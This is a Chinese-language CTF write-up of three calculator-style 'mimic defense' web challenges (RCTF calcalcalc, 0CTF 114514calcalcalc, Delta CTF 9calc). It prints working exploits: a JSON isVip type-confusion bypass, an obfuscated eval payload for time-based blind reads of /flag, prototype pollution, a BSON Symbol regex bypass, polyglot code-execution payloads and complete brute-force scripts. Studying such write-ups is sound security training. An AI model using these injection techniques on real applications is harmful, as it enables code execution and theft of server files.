刚好回家过情人节,闲着无事最后半天登录攻防世界参加了 2019 Delta CTF。Web 题目总体难度不大,SSRF、shellshellshel l 等都是非常基础的操作。因为不太熟悉 Typescript 和 BSON 就没能解出 9calc 题目。虽然已经感觉到题目中如果括号的可能方法,但是一直没能找到正确的利用姿势。
9 calc 是一道拟态防御的题目,也是改编之前 RCTF 的 calcalcalc 和 0CTF 的 114514calcalcalc,所以刚好借着这个机会把这系列题目总结一遍!
正确分析这些题目的姿势,需要 VScode 和 Beyond Compare 做文件对比!
在开始研究三道拟态防御系列题目前,首先介绍一些基础概念:
网络拟态防御 网络空间拟态防御(Cyber Mimic Defense,CMD)
类似于生物界的拟态防御,在网络空间防御领域,在目标对象给定服务功能和性能不变前提下,其内部架构、冗余资源、运行机制、核心算法、异常表现等环境因素,以及可能附着其上的未知漏洞后门或木马病毒等都可以做策略性的时空变化,从而对攻击者呈现出“似是而非”的场景,以此扰乱攻击链的构造和生效过程,使攻击成功的代价倍增。
CMD 在技术上以融合多种主动防御要素为宗旨:以异构性、多样或多元性改变目标系统的相似性、单一性;以动态性、随机性改变目标系统的静态性、确定性;以异构冗余多模裁决机制识别和屏蔽未知缺陷与未明威胁;以高可靠性架构增强目标系统服务功能的柔韧性或弹性;以系统的视在不确定属性防御或拒止针对目标系统的不确定性威胁。
以目前的研究进展,研究者是基于动态异构冗余(Dynamic Heterogeneous Redundancy,DHR)架构一体化技术架构集约化地实现上述目标的。
BSON 是一种类 json 的一种二进制形式的存储格式,简称 Binary JSON,它和 JSON 一样,支持内嵌的文档对象和数组对象,但是 BSON 有 JSON 没有的一些数据类型,如 Date 和 BinData 类型。
MongoDB 使用了 BSON 这种结构来存储数据和网络数据交换。把这种格式转化成一文档这个概念 (Document),因为 BSON 是 schema-free 的,所以在 MongoDB 中所对应的文档也有这个特征,这里的一个 Document 也可以理解成关系数据库中的一条记录 (Record),只是这里的 Document 的变化更丰富一些,如 Document 可以嵌套。
MongoDB 以 BSON 做为其存储结构的一种重要原因是其可遍历性。
本题提供前后端源码,下载源码,发现 frontend 是 nest.js + express 网站。分析整个程序的逻辑:
用户提交的输入只能包括 0-9 以及 a-z,加减乘除,空格,括号,同时检查输入长度
if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) { return false; } return true;
有 3 个后端决策器,分别是 php、node 和 python 执行表达式,3 个决策器会对输入进行运算,只有当 3 个决策器返回的结果一致时,才会输出结果。
app.controller.ts
const set = new Set(jsonResponses.map(p => JSON.stringify(p))); this.logger.log(`Expression = ${JSON.stringify(calculateModel.expression)}`); this.logger.log('Ret = ' + JSON.stringify(jsonResponses)); if (set.size === 1) { const rand = Math.floor(Math.random() * responses.length); Object.keys(responses[rand].headers).forEach((key) => { res.setHeader(key, responses[rand].headers[key]); }); res.json(jsonResponses[rand]); res.end(); } else { res.end('That\'s classified information. - Asahina Mikuru'); }
审计 calculate.model.ts
源码,所有的用户输入都会在进入 controller 前都会被 ExpressionValidator
验证:
import {ValidateIf, IsNotEmpty, MaxLength, Matches, IsBoolean} from 'class-validator'; import { ExpressionValidator } from './expression.validator'; export default class CalculateModel { @IsNotEmpty() @ExpressionValidator(15, { message: 'Invalid input', }) public readonly expression: string; @IsBoolean() public readonly isVip: boolean = false; }
继续审计 ExpressionValidator
代码,核心部分如下:
validator: { validate(value: any, args: ValidationArguments) { const str = value ? value.toString() : ''; if (str.length === 0) { return false; } if (!(args.object as CalculateModel).isVip) { if (str.length >= args.constraints[0]) { return false; } } if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) { return false; } return true; },
用户输入的长度不能超过 15 个字节,但是如果 isVip === true
就不会进行长度验证,所以第一步想办法让 args.object 的 isVip
变为 True
阅读 class-validator
源码:
return value instanceof Boolean || typeof value === "boolean";
非常遗憾,netstjs 不会自动把 'true' 转换成 true (不像 Spring),所以直接添加 isVip=True
是不行的。但是 Nestjs + expressjs 支持 json 作为提交的 body:
const parserMiddleware = { jsonParser: bodyParser.json(), urlencodedParser: bodyParser.urlencoded({ extended: true }), };
直接这么绕过:
Content-Type: application/json {"expression":"MORE_THAN_15_BYTES_STRING", "isVip": true}
本题的一个非预期解,即利用时间盲注,虽然三个表达式无法计算出相同的结果,但是利用 python 后端执行的时间可以猜解 flag 文件。注意本题的三个后端 docker 共享同一个 flag 文件:
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(116)+chr(105)+chr(109)+chr(101)+chr(39)+chr(41)+chr(46)+chr(115)+chr(108)+chr(101)+chr(101)+chr(112)+chr(40)+chr(51)+chr(41)+chr(32)+chr(105)+chr(102)+chr(32)+chr(111)+chr(114)+chr(100)+chr(40)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(39)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(91)+chr(51)+chr(93)+chr(41)+chr(32)+chr(62)+chr(32)+chr(54)+chr(55)+chr(32)+chr(101)+chr(108)+chr(115)+chr(101)+chr(32)+chr(78)+chr(111)+chr(110)+chr(101))
作用:
__import__('time').sleep(3) if ord(open('/flag').read()[3]) > 67 else None
爆破脚本:
# -*- coding:utf-8 -*- import requests import json import string header = { "Content-Type":"application/json"} url = "http://x.x.x.x:50004/calculate" def foo(payload): return "+".join(["chr(%d)"%ord(x) for x in payload]) flag = '' for i in range(20): for j in string.letters + string.digits + '{_}': exp = "__import__('time').sleep(3) if open('/flag').read()[%d]=='%s' else 1"%(i,j) data = { "expression": "eval(" + foo(exp) + ")", "isVip":True } try: r = requests.post(headers=header,url=url,data=json.dumps(data),timeout=2) #print r.elapsed except: flag += j print "[+] flag:",flag break
参考:
https://github.com/zsxsoft/my-ctf-challenges/blob/master/calcalcalc-family/readme.md
题目是在 RCTF2019 CALCALCALC 的基础上出的,相较于 RCTF 的题目,主要的变化有三个 :
第一步仍然是长度的限制,和 RCTF calcalcalc 解法一样。
但是本题修复了时间盲注,并使用 JSON 替换了 BSON,app.controller.ts
源码比较(左边是 RCTF,右边是 0CTF):
在 expression.validator.ts
模块中替换了一个正则表达式验证:
这个模块的 str 赋值语句 :
const str = value ? value.toString() : '';
传递的 value 可以是 any 类型,这里利用的是 JSON 原型链污染攻击 ,方式是:
{"expression":"1+1","__proto__":{"b":"114+514"}}
原型链污染发生的原因:
read the src of nestJS, class-transformer to convert json to a target class, but didn’t strip proto
这里的污染利用还有二种:
{"__proto__":{"constructor":null},"expression":"5278123+1", "isVip":true}
{"__proto__":{},"expression":"5278123+1", "isVip":true}
但是为什么原型链污染能够使得 str 为 "114+514" ???? 难道是
expression.validator.ts
代码逻辑会遍历 Object 属性,只要有一个满足就返回 True?
在题目中,会将我们 expression
的数据分别传输至 node
、php
、python
三种后端去计算结果,当返回结果一致时,才输出结果,如果结果不一致,则输出 :That's classified information. - Asahina Mikuru
因此接下来需要找到一个能够同时在三种后端中生效的 Payload
,这里我们可以使用注释来同时攻击 python
与 php
,再通过 对大整数的不同解析
攻击 node
。先给出 Exploit:
import requests import json import string def brute(pos, val): data = """{"expression":"1//len('''\\n;if([1,0][10000000000000001 - 10000000000000000]){if(require('fs').readFileSync('/flag', 'utf8')[%d]=='%s'){'1';}else{'';} }else{1;}//''') or ['','1'][open('/flag').read()[%d]=='%s']","__proto__":{"b": "114+514"},"isVip": true}""" % (pos, val, pos, val) r = requests.post("http://192.168.201.16/calculate", data=data, headers = {'Content-Type': 'application/json'}) return r.text # print(data) flag = '' for i in range(100): for c in string.printable: if ("ret" in brute(i, c)): flag += c print(flag) break
先将构造思路中的两个点拆开来说 :
在 node 中,由于其不支持大整数,因此在计算 10000000000000001 - 10000000000000000
时,会返回 0
,而在 php 和 python 中,则能够解析这两者,因此会返回 1
,这里便可以通过 10000000000000001 - 10000000000000000
的值来判断执行的语句,对应到我们的 payload 中便是 :
if([1,0][10000000000000001 - 10000000000000000]{ ... node ... }else{ // comment }
有关于这一点,将我们的 payload 放入 python 和 php 的语法高亮规则中便能理解。
Python 3:
open('/flag').read() + str(1//5) or ''' # )//?> function open(){return {read:()=>require('fs').readFileSync('/flag','utf-8')}}function str(){return 0}/*<?php function open(){echo json_encode(['ret' => file_get_contents('/flag').'0']);exit;}?>*///'''
PHP:
return open('/flag').read() + str(1//5) or ''' # )//?>function open(){return {read:()=>require('fs').readFileSync('/flag','utf-8')}}function str(){return 0}/*<?php function open(){echo json_encode(['ret' => file_get_contents('/flag').'0']);exit;}?>*///''';
Nodejs:
open('/flag').read() + str(1//5) or ''' # )//?> function open(){return {read:()=>require('fs').readFileSync('/flag','utf-8')}}function str(){return 0}/*<?php function open(){echo json_encode(['ret' => file_get_contents('/flag').'0']);exit;}?>*///'''
出题人心得:
Polyglot time.
In RCTF2018, we released
cats
andcats Rev.2
, you can name this challenge ascats Rev.3
. A new defense technology Cyber Mimic Defense (CMD) was proposed in 2018. We think it is interesting to create a polyglot challenge based on this idea. So it's polyglot time now.
参考:
https://meizjm3i.github.io/2019/06/11/0CTF-TCTF-2019-Web-Writeup/
https://github.com/zsxsoft/my-ctf-challenges/blob/master/calcalcalc-family/readme.md
https://balsn.tw/ctf_writeup/20190608-0ctf_tctf2019finals/#114514-calcalcalc
另一种思路:
http://momomoxiaoxi.com/ctf/2019/06/11/TCTFfinal/#114514-calcalcalc
还一个思路是,python docker 非常的脆弱,可以通过多进程阻塞打死 python,使其重启,永远 timeout。
node 很容易超时,所以接下来只需要通过 php 来进行获得数据就可以了。
当 php 超时时,返回 timeout。不超时时,返回 Asahina Mikuru。
同样,和 2019 RCTF 文件对比,主要的改变有下面几点:
注意本题仍然使用 BSON 传递数据,而不是 0CTF 的 JSON
第一步长度绕过和之前的一样。本题的难点就是如何绕过正则检测不允许有空格:
TypeScrit 虽然是强类型语言,但是由于其设计与 Javascript 有关,所有的类型定义在运行的时候会移除,因此 expression: string
我们可以不管,仍然给 expression 传递一个对象 Object。
但是 object.toString() === '[object Object]'
,测试代码如下:
var a = {}; var b = {name:"ZS"}; console.log(typeof a);//object console.log(a.toString());//[object Object] console.log(a.toString() === b.toString());//true 说明返回值是一样的 console.log(b);//Object {name: "ZS"}
这样正则表达式检查 str
(值为 '[object Object]'
)是可以通过的。但是我们没有办法让 object.toString()
become a useful runnable code。如果前端和后端通过 JSON 进行通信,那这题就真的没办法了,但是
我们知道 Nodejs 可以将 JavaScript 函数传递给 MongoDB,而 MongoDB 没有在 JSON 标准中定义。因此他们引入了 BSON 作为他们的数据交换格式。
幸运的是,我们可以在 javascript 中将对象序列化成 BSON。
审计 mongodb/js-bson
的序列化代码 , 可以发现程序会根据 Object[_bsontype]
判断类的类型而不是 instanceof
.
https://github.com/mongodb/js-bson/blob/master/lib/parser/serializer.js#L756
} else if (value['_bsontype'] === 'Binary') { index = serializeBinary(buffer, key, value, index, true); } else if (value['_bsontype'] === 'Symbol') { index = serializeSymbol(buffer, key, value, index, true); } else if (value['_bsontype'] === 'DBRef') {
通过搜索,发现 Symbol
类型在 BSON 反序列化得到之后,如果进行 Symbol.toString()
会返回 symbol 对象的 value 值,一个示例如下:
{"expression":{"value":"1+1","_bsontype":"Symbol"}, "isVip": true}
我的总结:绕过括号检测的核心原理是,expression 的值在正则检验的时候是通过 toString
转换为字符串,因此对象转的结果是 '[object Object]'
可以绕过正则检测。但是传递到后端是通过 bson 的序列化和反序列化之后转换为字符串,这时候对象的 _bsontype 如果是 Symbol,会返回这对象的 value 属性值。
虽然本题的三个 flag 都不一样,但是仍然可以利用回显的差异猜解 flag 文件(类似 bool 注入)。最终的 EXP 利用步骤:
EXP 发送的某一次 payload 示例(\n 按照回车输出)
1 + 0//5 or '''
//?>
require('fs').readFileSync('/flag','utf-8')[5] == 'b' ? 1 : 2;/*<?php
function open(){echo MongoDB\BSON\fromPHP(['ret' => '1']);exit;}?>*///'''
EXP 如下:
yarn add axios
命令安装好 Axios ——是一个基于 promise 的 HTTP 库。const axios = require('axios') const url = 'http://45.77.242.16/calculate' const symbols = '0123456789abcdefghijklmnopqrstuvwxyz{}_'.split('') const payloads = [ // Nodejs `1 + 0//5 or '''\n//?>\nrequire('fs').readFileSync('/flag','utf-8')[{index}] == '{symbol}' ? 1 : 2;/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`, // Python `(open('/flag').read()[{index}] == '{symbol}') + (str(1//5) == 0) or 2 or ''' #\n))//?>\nfunction open(){return {read:()=>'{flag}'}}function str(){return 0}/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`, // PHP `len('1') + 0//5 or '''\n//?>\n1;function len(){return 1}/*<?php\nfunction len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[{index}] == '{symbol}' ? "1" : "2"]);exit;}?>*///'''`, ] const rets = [] const checkAnswer = (value) => axios.post(url, { expression: { value, _bsontype: "Symbol" }, isVip: true }).then(p => p.data.ret === '1').catch(e => {}) const fn = async () => { for (let j = 0; j < payloads.length; j++) { const payload = payloads[j] let flag = '' let index = 0 while (true) { for (let i = 0; i < symbols.length; i++) { const ret = await checkAnswer(payload.replace(/\{flag\}/g, flag + symbols[i]).replace(/\{symbol\}/g, symbols[i]).replace(/\{index\}/g, index)) if (ret) { flag += symbols[i] console.log(symbols[i]) i = 0 index++ } } break } rets.push(flag) console.log(rets) } } fn().then(p => { console.log(rets.join('')) })
参考:
https://github.com/zsxsoft/my-ctf-challenges/blob/master/calcalcalc-family/readme.md